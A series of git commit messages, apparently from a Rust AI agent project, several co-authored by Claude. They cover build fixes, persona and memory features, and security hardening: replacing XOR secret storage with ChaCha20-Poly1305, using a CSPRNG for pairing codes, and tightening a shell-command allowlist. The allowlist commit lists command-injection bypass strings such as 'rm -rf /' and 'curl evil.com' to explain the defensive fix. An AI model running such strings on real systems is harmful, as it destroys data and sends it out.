- Fixed E0425 error in src/skills/mod.rs by moving println! inside #[cfg(unix)] block where 'dest' variable is in scope
- Added missing 'identity' field to Config struct initializations in src/onboard/wizard.rs
- Fixed import paths for AIEOS identity functions in src/channels/mod.rs
- Added comprehensive symlink edge case tests in src/skills/symlink_tests.rs
- All 840 tests passing, 0 clippy warnings
Resolves issue #28: skills symlink functionality now works correctly on Unix platforms with proper error handling on non-Unix platforms
- Expand communication style presets (professional, expressive, custom)
- Enrich SOUL.md with human-like tone and emoji-awareness guidance
- Add crash recovery and sub-task scoping guidance to AGENTS.md scaffold
- Add 'Use when / Don't use when' guidance to TOOLS.md and runtime prompts
- Implement memory hygiene system with configurable archiving and retention
- Add MemoryConfig options: hygiene_enabled, archive_after_days, purge_after_days, conversation_retention_days
- Archive old daily memory and session files to archive subdirectories
- Purge old archives and prune stale SQLite conversation rows
- Add comprehensive tests for new features
The previous is_command_allowed() only checked the first word of the
command string, but the full string was passed to `sh -c`, which
interprets all shell metacharacters. An attacker (or a prompt-injected
LLM) could bypass the allowlist:
echo $(rm -rf /) — subshell hides arbitrary command
echo `curl evil.com` — backtick subshell
ls | curl evil.com — pipe to unlisted command
ls && rm -rf / — chain via &&
ls\nrm -rf / — newline injection
Now is_command_allowed():
- Blocks subshell operators (backtick, $(, ${)
- Blocks output redirections (>)
- Splits on |, &&, ||, ;, newlines and validates EACH sub-command
- Skips leading env var assignments (FOO=bar cmd)
Legitimate piped commands like `ls | grep foo` still work since both
sides are in the allowlist.
CWE-78 / HIGH-1
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Use rejection sampling to eliminate modulo bias in generate_code().
Values above the largest multiple of 1_000_000 in u32 are discarded
and re-drawn (~0.02% rejection rate).
- Make generate_code_is_not_deterministic test robust against the
1-in-10^6 collision chance by trying 10 pairs instead of one.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The previous secret store used a repeating-key XOR cipher which is
cryptographically broken:
- Deterministic (no nonce) — identical plaintexts produce identical
ciphertexts
- No authentication — tampered ciphertext decrypts silently
- Vulnerable to known-plaintext attacks (e.g., "sk-" prefix reveals
key bytes)
Replace with ChaCha20-Poly1305 authenticated encryption:
- Random 12-byte nonce per encryption (non-deterministic)
- Poly1305 authentication tag detects tampering
- Uses the same 32-byte key file (no migration needed for keys)
New ciphertext format is `enc2:<hex(nonce || ciphertext || tag)>`.
Legacy `enc:` values (XOR) are still decryptable for backward
compatibility during migration.
Adds chacha20poly1305 0.10 crate (pure Rust, no C dependencies).
New tests: tamper detection, wrong-key rejection, nonce uniqueness,
truncation handling, legacy XOR backward compatibility.
CWE-327 / CRIT-1
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Replace DefaultHasher + SystemTime + process::id() with UUID v4
(backed by getrandom/urandom CSPRNG) for pairing code generation.
The previous implementation used predictable entropy sources
(system time to ~1s precision and process ID) with a non-cryptographic
hash (SipHash), making the 6-digit code brute-forceable.
The new implementation extracts 4 random bytes from a UUID v4
(which uses the OS CSPRNG) and derives the 6-digit code from those.
No new dependencies added — reuses existing uuid crate.
Adds a test verifying non-deterministic output.
Ref: CWE-330 (Use of Insufficiently Random Values)
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>